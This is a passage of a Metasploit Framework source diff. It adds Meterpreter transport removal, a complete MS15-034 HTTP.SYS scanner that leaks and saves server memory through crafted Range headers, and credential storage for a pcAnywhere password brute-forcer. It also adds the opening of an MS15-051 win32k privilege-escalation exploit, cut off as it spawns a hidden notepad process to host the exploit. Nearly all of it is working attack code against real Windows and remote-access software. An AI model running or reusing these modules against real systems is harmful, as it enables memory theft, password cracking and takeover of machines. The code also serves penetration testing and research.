'-ua' => [ true, 'User agent for HTTP/S transports (optional)' ],
|
||||||
'-pp' => [ true, 'Proxy port for http(s) transports (optional)' ],
|
'-ph' => [ true, 'Proxy host for HTTP/S transports (optional)' ],
|
||||||
'-pu' => [ true, 'Proxy username for http(s) transports (optional)' ],
|
'-pp' => [ true, 'Proxy port for HTTP/S transports (optional)' ],
|
||||||
'-ps' => [ true, 'Proxy password for http(s) transports (optional)' ],
|
'-pu' => [ true, 'Proxy username for HTTP/S transports (optional)' ],
|
||||||
'-pt' => [ true, 'Proxy type for http(s) transports (optional: http, socks; default: http)' ],
|
'-ps' => [ true, 'Proxy password for HTTP/S transports (optional)' ],
|
||||||
|
'-pt' => [ true, 'Proxy type for HTTP/S transports (optional: http, socks; default: http)' ],
|
||||||
'-c' => [ true, 'SSL certificate path for https transport verification (optional)' ],
|
'-c' => [ true, 'SSL certificate path for https transport verification (optional)' ],
|
||||||
'-to' => [ true, 'Comms timeout (seconds) (default: same as current session)' ],
|
'-to' => [ true, 'Comms timeout (seconds) (default: same as current session)' ],
|
||||||
'-ex' => [ true, 'Expiration timout (seconds) (default: same as current session)' ],
|
'-ex' => [ true, 'Expiration timout (seconds) (default: same as current session)' ],
|
||||||
|
@ -561,13 +562,14 @@ class Console::CommandDispatcher::Core
|
||||||
# Display help for transport management.
|
# Display help for transport management.
|
||||||
#
|
#
|
||||||
def cmd_transport_help
|
def cmd_transport_help
|
||||||
print_line('Usage: transport <list|change|add|next|prev> [options]')
|
print_line('Usage: transport <list|change|add|next|prev|remove> [options]')
|
||||||
print_line
|
print_line
|
||||||
print_line(' list: list the currently active transports.')
|
print_line(' list: list the currently active transports.')
|
||||||
print_line(' add: add a new transport to the transport list.')
|
print_line(' add: add a new transport to the transport list.')
|
||||||
print_line(' change: same as add, but changes directly to the added entry.')
|
print_line(' change: same as add, but changes directly to the added entry.')
|
||||||
print_line(' next: jump to the next transport in the list (no options).')
|
print_line(' next: jump to the next transport in the list (no options).')
|
||||||
print_line(' prev: jump to the previous transport in the list (no options).')
|
print_line(' prev: jump to the previous transport in the list (no options).')
|
||||||
|
print_line(' remove: remove an existing, non-active transport.')
|
||||||
print_line(@@transport_opts.usage)
|
print_line(@@transport_opts.usage)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -581,7 +583,7 @@ class Console::CommandDispatcher::Core
|
||||||
end
|
end
|
||||||
|
|
||||||
command = args.shift
|
command = args.shift
|
||||||
unless ['list', 'add', 'change', 'prev', 'next'].include?(command)
|
unless ['list', 'add', 'change', 'prev', 'next', 'remove'].include?(command)
|
||||||
cmd_transport_help
|
cmd_transport_help
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
@ -591,6 +593,7 @@ class Console::CommandDispatcher::Core
|
||||||
:transport => nil,
|
:transport => nil,
|
||||||
:lhost => nil,
|
:lhost => nil,
|
||||||
:lport => nil,
|
:lport => nil,
|
||||||
|
:uri => nil,
|
||||||
:ua => nil,
|
:ua => nil,
|
||||||
:proxy_host => nil,
|
:proxy_host => nil,
|
||||||
:proxy_port => nil,
|
:proxy_port => nil,
|
||||||
|
@ -610,6 +613,8 @@ class Console::CommandDispatcher::Core
|
||||||
case opt
|
case opt
|
||||||
when '-c'
|
when '-c'
|
||||||
opts[:cert] = val
|
opts[:cert] = val
|
||||||
|
when '-u'
|
||||||
|
opts[:uri] = val
|
||||||
when '-ph'
|
when '-ph'
|
||||||
opts[:proxy_host] = val
|
opts[:proxy_host] = val
|
||||||
when '-pp'
|
when '-pp'
|
||||||
|
@ -733,6 +738,18 @@ class Console::CommandDispatcher::Core
|
||||||
else
|
else
|
||||||
print_error("Failed to add transport, please check the parameters")
|
print_error("Failed to add transport, please check the parameters")
|
||||||
end
|
end
|
||||||
|
when 'remove'
|
||||||
|
if opts[:transport] && !opts[:transport].end_with?('_tcp') && opts[:uri].nil?
|
||||||
|
print_error("HTTP/S transport specified without session URI")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
print_status("Removing transport ...")
|
||||||
|
if client.core.transport_remove(opts)
|
||||||
|
print_good("Successfully removed #{opts[:transport]} transport.")
|
||||||
|
else
|
||||||
|
print_error("Failed to remove transport, please check the parameters")
|
||||||
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -818,6 +835,9 @@ class Console::CommandDispatcher::Core
|
||||||
|
|
||||||
print_status("Migration completed successfully.")
|
print_status("Migration completed successfully.")
|
||||||
|
|
||||||
|
# Update session info (we may have a new username)
|
||||||
|
client.update_session_info
|
||||||
|
|
||||||
unless existing_relays.empty?
|
unless existing_relays.empty?
|
||||||
print_status("Recreating TCP relay(s)...")
|
print_status("Recreating TCP relay(s)...")
|
||||||
existing_relays.each do |r|
|
existing_relays.each do |r|
|
||||||
|
|
|
@ -61,8 +61,8 @@ Gem::Specification.new do |spec|
|
||||||
# Things that would normally be part of the database model, but which
|
# Things that would normally be part of the database model, but which
|
||||||
# are needed when there's no database
|
# are needed when there's no database
|
||||||
spec.add_runtime_dependency 'metasploit-model', '~> 1.0'
|
spec.add_runtime_dependency 'metasploit-model', '~> 1.0'
|
||||||
# Needed for Meterpreter on Windows, soon others.
|
# Needed for Meterpreter
|
||||||
spec.add_runtime_dependency 'metasploit-payloads', '1.0.2'
|
spec.add_runtime_dependency 'metasploit-payloads', '1.0.3'
|
||||||
# Needed by msfgui and other rpc components
|
# Needed by msfgui and other rpc components
|
||||||
spec.add_runtime_dependency 'msgpack'
|
spec.add_runtime_dependency 'msgpack'
|
||||||
# Needed by anemone crawler
|
# Needed by anemone crawler
|
||||||
|
|
|
@ -0,0 +1,219 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'rex/proto/http'
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
include Msf::Auxiliary::Scanner
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'MS15-034 HTTP Protocol Stack Request Handling HTTP.SYS Memory Information Disclosure',
|
||||||
|
'Description' => %q{
|
||||||
|
Dumps memory contents using a crafted Range header. Affects only
|
||||||
|
Windows 8.1, Server 2012, and Server 2012R2. Note that if the target
|
||||||
|
is running in VMware Workstation, this module has a high likelihood
|
||||||
|
of resulting in BSOD; however, VMware ESX and non-virtualized hosts
|
||||||
|
seem stable. Using a larger target file should result in more memory
|
||||||
|
being dumped, and SSL seems to produce more data as well.
|
||||||
|
},
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Rich Whitcroft <rwhitcroft[at]gmail.com>', # Msf module
|
||||||
|
'sinn3r' # Some more Metasploit stuff
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['CVE', '2015-1635'],
|
||||||
|
['MSB', 'MS15-034'],
|
||||||
|
['URL', 'http://pastebin.com/ypURDPc4'],
|
||||||
|
['URL', 'https://github.com/rapid7/metasploit-framework/pull/5150'],
|
||||||
|
['URL', 'https://community.qualys.com/blogs/securitylabs/2015/04/20/ms15-034-analyze-and-remote-detection'],
|
||||||
|
['URL', 'http://www.securitysift.com/an-analysis-of-ms15-034/'],
|
||||||
|
['URL', 'http://securitysift.com/an-analysis-of-ms15-034/']
|
||||||
|
]
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options([
|
||||||
|
OptString.new('TARGETURI', [false, 'URI to the site (e.g /site/) or a valid file resource (e.g /welcome.png)', '/']),
|
||||||
|
OptBool.new('SUPPRESS_REQUEST', [ true, 'Suppress output of the requested resource', true ])
|
||||||
|
], self.class)
|
||||||
|
|
||||||
|
deregister_options('VHOST')
|
||||||
|
end
|
||||||
|
|
||||||
|
def potential_static_files_uris
|
||||||
|
uri = normalize_uri(target_uri.path)
|
||||||
|
|
||||||
|
return [uri] unless uri[-1, 1] == '/'
|
||||||
|
|
||||||
|
uris = ["#{uri}iisstart.htm", "#{uri}iis-85.png", "#{uri}welcome.png"]
|
||||||
|
res = send_request_raw('uri' => uri)
|
||||||
|
|
||||||
|
return uris unless res
|
||||||
|
|
||||||
|
site_uri = URI.parse(full_uri)
|
||||||
|
page = Nokogiri::HTML(res.body.encode('UTF-8', invalid: :replace, undef: :replace))
|
||||||
|
|
||||||
|
page.xpath('//link|//script|//style|//img').each do |tag|
|
||||||
|
%w(href src).each do |attribute|
|
||||||
|
attr_value = tag[attribute]
|
||||||
|
next unless attr_value && !attr_value.empty?
|
||||||
|
uri = site_uri.merge(URI.encode(attr_value.strip))
|
||||||
|
next unless uri.host == vhost || uri.host == rhost
|
||||||
|
uris << uri.path if uri.path =~ /\.[a-z]{2,}$/i # Only keep path with a file
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
uris.uniq
|
||||||
|
end
|
||||||
|
|
||||||
|
def check_host(ip)
|
||||||
|
upper_range = 0xFFFFFFFFFFFFFFFF
|
||||||
|
|
||||||
|
potential_static_files_uris.each do |potential_uri|
|
||||||
|
uri = normalize_uri(potential_uri)
|
||||||
|
|
||||||
|
res = send_request_raw(
|
||||||
|
'uri' => uri,
|
||||||
|
'method' => 'GET',
|
||||||
|
'headers' => {
|
||||||
|
'Range' => "bytes=0-#{upper_range}"
|
||||||
|
}
|
||||||
|
)
|
||||||
|
|
||||||
|
vmessage = "#{peer} - Checking #{uri} [#{res.code}]"
|
||||||
|
|
||||||
|
if res && res.body.include?('Requested Range Not Satisfiable')
|
||||||
|
vprint_status("#{vmessage} - Vulnerable")
|
||||||
|
|
||||||
|
# Save the file that we want to use for the information leak
|
||||||
|
target_uri.path = uri
|
||||||
|
|
||||||
|
return Exploit::CheckCode::Vulnerable
|
||||||
|
elsif res && res.body.include?('The request has an invalid header name')
|
||||||
|
return Exploit::CheckCode::Safe
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
Exploit::CheckCode::Unknown
|
||||||
|
end
|
||||||
|
|
||||||
|
def dump(data)
|
||||||
|
# clear out the returned resource
|
||||||
|
if datastore['SUPPRESS_REQUEST']
|
||||||
|
dump_start = data.index('HTTP/1.1 200 OK')
|
||||||
|
if dump_start
|
||||||
|
data[0..dump_start-1] = ''
|
||||||
|
else
|
||||||
|
print_error("Memory dump start position not found, dumping all data instead")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
print_line
|
||||||
|
print_good("Memory contents:")
|
||||||
|
print_line(Rex::Text.to_hex_dump(data))
|
||||||
|
end
|
||||||
|
|
||||||
|
# Needed to allow the vulnerable uri to be shared between the #check and #dos
|
||||||
|
def target_uri
|
||||||
|
@target_uri ||= super
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_file_size
|
||||||
|
@file_size ||= lambda {
|
||||||
|
file_size = -1
|
||||||
|
uri = normalize_uri(target_uri.path)
|
||||||
|
res = send_request_raw('uri' => uri)
|
||||||
|
|
||||||
|
unless res
|
||||||
|
vprint_error("#{peer} - Connection timed out")
|
||||||
|
return file_size
|
||||||
|
end
|
||||||
|
|
||||||
|
if res.code == 404
|
||||||
|
vprint_error("#{peer} - You got a 404. URI must be a valid resource.")
|
||||||
|
return file_size
|
||||||
|
end
|
||||||
|
|
||||||
|
file_size = res.headers['Content-Length'].to_i
|
||||||
|
vprint_status("#{peer} - File length: #{file_size} bytes")
|
||||||
|
|
||||||
|
return file_size
|
||||||
|
}.call
|
||||||
|
end
|
||||||
|
|
||||||
|
def calc_ranges(content_length)
|
||||||
|
ranges = "bytes=3-18446744073709551615"
|
||||||
|
|
||||||
|
range_step = 100
|
||||||
|
for range_start in (1..content_length).step(range_step) do
|
||||||
|
range_end = range_start + range_step - 1
|
||||||
|
range_end = content_length if range_end > content_length
|
||||||
|
ranges << ",#{range_start}-#{range_end}"
|
||||||
|
end
|
||||||
|
|
||||||
|
ranges
|
||||||
|
end
|
||||||
|
|
||||||
|
def run_host(ip)
|
||||||
|
begin
|
||||||
|
unless check_host(ip)
|
||||||
|
print_error("Target is not vulnerable")
|
||||||
|
return
|
||||||
|
else
|
||||||
|
print_good("Target may be vulnerable...")
|
||||||
|
end
|
||||||
|
|
||||||
|
content_length = get_file_size
|
||||||
|
ranges = calc_ranges(content_length)
|
||||||
|
|
||||||
|
uri = normalize_uri(target_uri.path)
|
||||||
|
cli = Rex::Proto::Http::Client.new(
|
||||||
|
ip,
|
||||||
|
rport,
|
||||||
|
{},
|
||||||
|
datastore['SSL'],
|
||||||
|
datastore['SSLVersion'],
|
||||||
|
nil,
|
||||||
|
datastore['USERNAME'],
|
||||||
|
datastore['PASSWORD']
|
||||||
|
)
|
||||||
|
cli.connect
|
||||||
|
req = cli.request_raw(
|
||||||
|
'uri' => target_uri.path,
|
||||||
|
'method' => 'GET',
|
||||||
|
'headers' => {
|
||||||
|
'Range' => ranges
|
||||||
|
}
|
||||||
|
)
|
||||||
|
cli.send_request(req)
|
||||||
|
|
||||||
|
print_good("Stand by...")
|
||||||
|
|
||||||
|
resp = cli.read_response
|
||||||
|
|
||||||
|
if resp
|
||||||
|
dump(resp.to_s)
|
||||||
|
loot_path = store_loot('iis.ms15034', 'application/octet-stream', ip, resp, nil, 'MS15-034 HTTP.SYS Memory Dump')
|
||||||
|
print_status("Memory dump saved to #{loot_path}")
|
||||||
|
else
|
||||||
|
print_error("Disclosure unsuccessful (must be 8.1, 2012, or 2012R2)")
|
||||||
|
end
|
||||||
|
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||||
|
print_error("Unable to connect")
|
||||||
|
return
|
||||||
|
rescue ::Timeout::Error, ::Errno::EPIPE
|
||||||
|
print_error("Timeout receiving from socket")
|
||||||
|
return
|
||||||
|
ensure
|
||||||
|
cli.close if cli
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -39,31 +39,29 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
each_user_pass do |user, pass|
|
each_user_pass do |user, pass|
|
||||||
next if user.blank? or pass.blank?
|
next if user.blank? or pass.blank?
|
||||||
print_status "Trying #{user}:#{pass}"
|
print_status("Trying #{user}:#{pass}")
|
||||||
result = do_login(user, pass)
|
result = do_login(user, pass)
|
||||||
case result
|
case result
|
||||||
when :success
|
when :success
|
||||||
print_good "#{ip}:#{rport} Login Successful #{user}:#{pass}"
|
print_good("#{ip}:#{rport} Login Successful #{user}:#{pass}")
|
||||||
report_auth_info(
|
report_cred(
|
||||||
:host => rhost,
|
ip: rhost,
|
||||||
:port => datastore['RPORT'],
|
port: datastore['RPORT'],
|
||||||
:sname => 'pcanywhere_data',
|
service_name: 'pcanywhere',
|
||||||
:user => user,
|
user: user,
|
||||||
:pass => pass,
|
password: pass
|
||||||
:source_type => "user_supplied",
|
|
||||||
:active => true
|
|
||||||
)
|
)
|
||||||
return if datastore['STOP_ON_SUCCESS']
|
return if datastore['STOP_ON_SUCCESS']
|
||||||
print_status "Waiting to Re-Negotiate Connection (this may take a minute)..."
|
print_status('Waiting to Re-Negotiate Connection (this may take a minute)...')
|
||||||
select(nil, nil, nil, 40)
|
select(nil, nil, nil, 40)
|
||||||
connect
|
connect
|
||||||
hsr = pca_handshake(ip)
|
hsr = pca_handshake(ip)
|
||||||
return if hsr == :handshake_failed
|
return if hsr == :handshake_failed
|
||||||
when :fail
|
when :fail
|
||||||
print_status "#{ip}:#{rport} Login Failure #{user}:#{pass}"
|
print_status("#{ip}:#{rport} Login Failure #{user}:#{pass}")
|
||||||
when :reset
|
when :reset
|
||||||
print_status "#{ip}:#{rport} Login Failure #{user}:#{pass}"
|
print_status("#{ip}:#{rport} Login Failure #{user}:#{pass}")
|
||||||
print_status "Connection Reset Attempting to reconnect in 1 second"
|
print_status('Connection reset attempting to reconnect in 1 second')
|
||||||
select(nil, nil, nil, 1)
|
select(nil, nil, nil, 1)
|
||||||
connect
|
connect
|
||||||
hsr = pca_handshake(ip)
|
hsr = pca_handshake(ip)
|
||||||
|
@ -73,6 +71,32 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def report_cred(opts)
|
||||||
|
service_data = {
|
||||||
|
address: opts[:ip],
|
||||||
|
port: opts[:port],
|
||||||
|
service_name: opts[:service_name],
|
||||||
|
protocol: 'tcp',
|
||||||
|
workspace_id: myworkspace_id
|
||||||
|
}
|
||||||
|
|
||||||
|
credential_data = {
|
||||||
|
origin_type: :service,
|
||||||
|
module_fullname: fullname,
|
||||||
|
username: opts[:user],
|
||||||
|
private_data: opts[:password],
|
||||||
|
private_type: :password
|
||||||
|
}.merge(service_data)
|
||||||
|
|
||||||
|
login_data = {
|
||||||
|
core: create_credential(credential_data),
|
||||||
|
last_attempted_at: DateTime.now,
|
||||||
|
status: Metasploit::Model::Login::Status::SUCCESSFUL
|
||||||
|
}.merge(service_data)
|
||||||
|
|
||||||
|
create_credential_login(login_data)
|
||||||
|
end
|
||||||
|
|
||||||
def do_login(user, pass, nsock=self.sock)
|
def do_login(user, pass, nsock=self.sock)
|
||||||
# Check if we are already at a logon prompt
|
# Check if we are already at a logon prompt
|
||||||
res = nsock.get_once(-1,5)
|
res = nsock.get_once(-1,5)
|
||||||
|
@ -87,18 +111,18 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
end
|
end
|
||||||
|
|
||||||
# Check if we are now at the password prompt
|
# Check if we are now at the password prompt
|
||||||
unless res and res.include? "Enter password"
|
unless res and res.include? 'Enter password'
|
||||||
print_error "Problem Sending Login: #{res.inspect}"
|
print_error("Problem Sending Login: #{res.inspect}")
|
||||||
return :abort
|
return :abort
|
||||||
end
|
end
|
||||||
|
|
||||||
epass = encryption_header(encrypt(pass))
|
epass = encryption_header(encrypt(pass))
|
||||||
nsock.put(epass)
|
nsock.put(epass)
|
||||||
res = nsock.get_once(-1,20)
|
res = nsock.get_once(-1,20)
|
||||||
if res.include? "Login unsuccessful"
|
if res.include? 'Login unsuccessful'
|
||||||
disconnect()
|
disconnect()
|
||||||
return :reset
|
return :reset
|
||||||
elsif res.include? "Invalid login"
|
elsif res.include? 'Invalid login'
|
||||||
return :fail
|
return :fail
|
||||||
else
|
else
|
||||||
disconnect()
|
disconnect()
|
||||||
|
@ -107,38 +131,38 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
end
|
end
|
||||||
|
|
||||||
def pca_handshake(ip, nsock=self.sock)
|
def pca_handshake(ip, nsock=self.sock)
|
||||||
print_status "Handshaking with the pcAnywhere service"
|
print_status('Handshaking with the pcAnywhere service')
|
||||||
nsock.put("\x00\x00\x00\x00")
|
nsock.put("\x00\x00\x00\x00")
|
||||||
res = nsock.get_once(-1,5)
|
res = nsock.get_once(-1,5)
|
||||||
unless res and res.include? "Please press <Enter>"
|
unless res and res.include? 'Please press <Enter>'
|
||||||
print_error "Handshake(1) failed on Host #{ip} aborting. (Error: #{res.inspect} )"
|
print_error("Handshake(1) failed on Host #{ip} aborting. Error: #{res.inspect}")
|
||||||
return :handshake_failed
|
return :handshake_failed
|
||||||
end
|
end
|
||||||
|
|
||||||
nsock.put("\x6F\x06\xff")
|
nsock.put("\x6F\x06\xff")
|
||||||
res = nsock.get_once(-1,5)
|
res = nsock.get_once(-1,5)
|
||||||
unless res and res.include? "\x78\x02\x1b\x61"
|
unless res and res.include? "\x78\x02\x1b\x61"
|
||||||
print_error "Handshake(2) failed on Host #{ip} aborting. (Error: #{res.inspect} )"
|
print_error("Handshake(2) failed on Host #{ip} aborting. Error: #{res.inspect}")
|
||||||
return :handshake_failed
|
return :handshake_failed
|
||||||
end
|
end
|
||||||
|
|
||||||
nsock.put("\x6f\x61\x00\x09\x00\xfe\x00\x00\xff\xff\x00\x00\x00\x00")
|
nsock.put("\x6f\x61\x00\x09\x00\xfe\x00\x00\xff\xff\x00\x00\x00\x00")
|
||||||
res = nsock.get_once(-1,5)
|
res = nsock.get_once(-1,5)
|
||||||
unless res and res == "\x1b\x62\x00\x02\x00\x00\x00"
|
unless res and res == "\x1b\x62\x00\x02\x00\x00\x00"
|
||||||
print_error "Handshake(3) failed on Host #{ip} aborting. (Error: #{res.inspect} )"
|
print_error("Handshake(3) failed on Host #{ip} aborting. Error: #{res.inspect}")
|
||||||
return :handshake_failed
|
return :handshake_failed
|
||||||
end
|
end
|
||||||
|
|
||||||
nsock.put("\x6f\x62\x01\x02\x00\x00\x00")
|
nsock.put("\x6f\x62\x01\x02\x00\x00\x00")
|
||||||
res = nsock.get_once(-1,5)
|
res = nsock.get_once(-1,5)
|
||||||
unless res and res.include? "\x00\x7D\x08"
|
unless res and res.include? "\x00\x7D\x08"
|
||||||
print_error "Handshake(4) failed on Host #{ip} aborting. (Error: #{res.inspect} )"
|
print_error("Handshake(4) failed on Host #{ip} aborting. Error: #{res.inspect}")
|
||||||
return :handshake_failed
|
return :handshake_failed
|
||||||
end
|
end
|
||||||
|
|
||||||
res = nsock.get_once(-1,5) unless pca_at_login?(res)
|
res = nsock.get_once(-1,5) unless pca_at_login?(res)
|
||||||
unless pca_at_login?(res)
|
unless pca_at_login?(res)
|
||||||
print_error "Handshake(5) failed on Host #{ip} aborting. (Error: #{res.inspect} )"
|
print_error("Handshake(5) failed on Host #{ip} aborting. Error: #{res.inspect}")
|
||||||
return :handshake_failed
|
return :handshake_failed
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -55,10 +55,13 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
stuff = decode_info(response)
|
stuff = decode_info(response)
|
||||||
when 'status'
|
when 'status'
|
||||||
stuff = decode_status(response)
|
stuff = decode_status(response)
|
||||||
|
else
|
||||||
|
stuff = {}
|
||||||
end
|
end
|
||||||
|
|
||||||
if datastore['VERBOSE']
|
if datastore['VERBOSE']
|
||||||
stuff.inspect
|
# get everything
|
||||||
|
stuff
|
||||||
else
|
else
|
||||||
# try to get the host name, game name and version
|
# try to get the host name, game name and version
|
||||||
stuff.select { |k, _| %w(hostname sv_hostname gamename com_gamename version).include?(k) }
|
stuff.select { |k, _| %w(hostname sv_hostname gamename com_gamename version).include?(k) }
|
||||||
|
@ -68,9 +71,9 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
def scanner_process(response, src_host, src_port)
|
def scanner_process(response, src_host, src_port)
|
||||||
stuff = decode_stuff(response)
|
stuff = decode_stuff(response)
|
||||||
return unless stuff
|
return unless stuff
|
||||||
@results[src_host] ||= []
|
@results[src_host] ||= {}
|
||||||
print_good("#{src_host}:#{src_port} found '#{stuff}'")
|
print_good("#{src_host}:#{src_port} found '#{stuff}'")
|
||||||
@results[src_host] << stuff
|
@results[src_host].merge!(stuff)
|
||||||
end
|
end
|
||||||
|
|
||||||
def scanner_postscan(_batch)
|
def scanner_postscan(_batch)
|
||||||
|
@ -81,7 +84,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
proto: 'udp',
|
proto: 'udp',
|
||||||
port: rport,
|
port: rport,
|
||||||
name: 'Quake',
|
name: 'Quake',
|
||||||
info: stuff
|
info: stuff.inspect
|
||||||
)
|
)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -281,8 +281,9 @@ protected
|
||||||
begin
|
begin
|
||||||
# Generate a permutation saving the ECX, ESP, and user defined registers
|
# Generate a permutation saving the ECX, ESP, and user defined registers
|
||||||
loop_inst.generate(block_generator_register_blacklist, nil, state.badchars)
|
loop_inst.generate(block_generator_register_blacklist, nil, state.badchars)
|
||||||
rescue EncodingError => e
|
rescue RuntimeError, EncodingError => e
|
||||||
raise EncodingError
|
# The Rex::Poly block generator can raise RuntimeError variants
|
||||||
|
raise EncodingError, e.to_s
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -0,0 +1,144 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'msf/core/post/windows/reflective_dll_injection'
|
||||||
|
require 'rex'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Exploit::Local
|
||||||
|
Rank = NormalRanking
|
||||||
|
|
||||||
|
include Msf::Post::File
|
||||||
|
include Msf::Post::Windows::Priv
|
||||||
|
include Msf::Post::Windows::Process
|
||||||
|
include Msf::Post::Windows::FileInfo
|
||||||
|
include Msf::Post::Windows::ReflectiveDLLInjection
|
||||||
|
|
||||||
|
def initialize(info={})
|
||||||
|
super(update_info(info, {
|
||||||
|
'Name' => 'Windows ClientCopyImage Win32k Exploit',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits improper object handling in the win32k.sys kernel mode driver.
|
||||||
|
This module has been tested on vulnerable builds of Windows 7 x64 and x86, and
|
||||||
|
Windows 2008 R2 SP1 x64.
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' => [
|
||||||
|
'Unknown', # vulnerability discovery and exploit in the wild
|
||||||
|
'hfirefox', # Code released on github
|
||||||
|
'OJ Reeves', # msf module
|
||||||
|
'Spencer McIntyre' # msf module
|
||||||
|
],
|
||||||
|
'Arch' => [ ARCH_X86, ARCH_X86_64 ],
|
||||||
|
'Platform' => 'win',
|
||||||
|
'SessionTypes' => [ 'meterpreter' ],
|
||||||
|
'DefaultOptions' => {
|
||||||
|
'EXITFUNC' => 'thread',
|
||||||
|
},
|
||||||
|
'Targets' => [
|
||||||
|
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
|
||||||
|
[ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
|
||||||
|
],
|
||||||
|
'Payload' => {
|
||||||
|
'Space' => 4096,
|
||||||
|
'DisableNops' => true
|
||||||
|
},
|
||||||
|
'References' => [
|
||||||
|
['CVE', '2015-1701'],
|
||||||
|
['MSB', 'MS15-051'],
|
||||||
|
['URL', 'https://www.fireeye.com/blog/threat-research/2015/04/probable_apt28_useo.html'],
|
||||||
|
['URL', 'https://github.com/hfiref0x/CVE-2015-1701'],
|
||||||
|
['URL', 'https://technet.microsoft.com/library/security/MS15-051']
|
||||||
|
],
|
||||||
|
'DisclosureDate' => 'May 12 2015',
|
||||||
|
'DefaultTarget' => 0
|
||||||
|
}))
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
# Windows XP SP3 (32-bit) 5.1.2600.6514 (Works)
|
||||||
|
# Windows Server 2003 Standard SP2 (32-bit) 5.2.3790.5445 (Works)
|
||||||
|
# Windows Server 2008 Enterprise SP2 (32-bit) 6.0.6002.18005 (Does not work)
|
||||||
|
# Windows 7 SP1 (64-bit) 6.1.7601.17514 (Works)
|
||||||
|
# Windows 7 SP1 (64-bit) 6.1.7601.17535 (Works)
|
||||||
|
# Windows 7 SP1 (32-bit) 6.1.7601.17514 (Works)
|
||||||
|
# Windows 7 SP1 (32-bit) 6.1.7601.18388 (Works)
|
||||||
|
# Windows Server 2008 R2 (64-bit) SP1 6.1.7601.17514 (Works)
|
||||||
|
# Windows Server 2008 R2 (64-bit) SP1 6.1.7601.18105 (Works)
|
||||||
|
|
||||||
|
if sysinfo['OS'] !~ /windows/i
|
||||||
|
return Exploit::CheckCode::Unknown
|
||||||
|
end
|
||||||
|
|
||||||
|
if sysinfo['Architecture'] =~ /(wow|x)64/i
|
||||||
|
arch = ARCH_X86_64
|
||||||
|
elsif sysinfo['Architecture'] =~ /x86/i
|
||||||
|
arch = ARCH_X86
|
||||||
|
end
|
||||||
|
|
||||||
|
file_path = expand_path('%windir%') << '\\system32\\win32k.sys'
|
||||||
|
major, minor, build, revision, branch = file_version(file_path)
|
||||||
|
vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}")
|
||||||
|
|
||||||
|
return Exploit::CheckCode::Safe if build > 7601
|
||||||
|
|
||||||
|
return Exploit::CheckCode::Detected
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
if is_system?
|
||||||
|
fail_with(Failure::None, 'Session is already elevated')
|
||||||
|
end
|
||||||
|
|
||||||
|
check_result = check
|
||||||
|
if check_result == Exploit::CheckCode::Safe || check_result == Exploit::CheckCode::Unknown
|
||||||
|
fail_with(Failure::NotVulnerable, 'Exploit not available on this system.')
|
||||||
|
end
|
||||||
|
|
||||||
|
if sysinfo['Architecture'] =~ /wow64/i
|
||||||
|
fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
|
||||||
|
elsif sysinfo['Architecture'] =~ /x64/ && target.arch.first == ARCH_X86
|
||||||
|
fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')
|
||||||
|
elsif sysinfo['Architecture'] =~ /x86/ && target.arch.first == ARCH_X86_64
|
||||||
|
fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64')
|
||||||
|
end
|
||||||
|
|
||||||
|
print_status('Launching notepad to host the exploit...')
|
||||||
|
notepad_process = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true})
|
||||||
|
begin
|
||||||
|
process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS)
|
||||||
|
print_good("Process #{process.pid} launched.")
|
||||||
|
rescue Rex::Post::Meterpreter::RequestError
|
||||||
|
# Reader Sandbox won't allow to create a new process:
|
||||||
|
# stdapi_sys_process_execute: Operation failed: Access is denied.
|
||||||
|
print_status('Operation failed. Trying to elevate the current process...')
|
||||||
|
process = client.sys.process.open
|
||||||
|
end
|
||||||
|
|
||||||
|
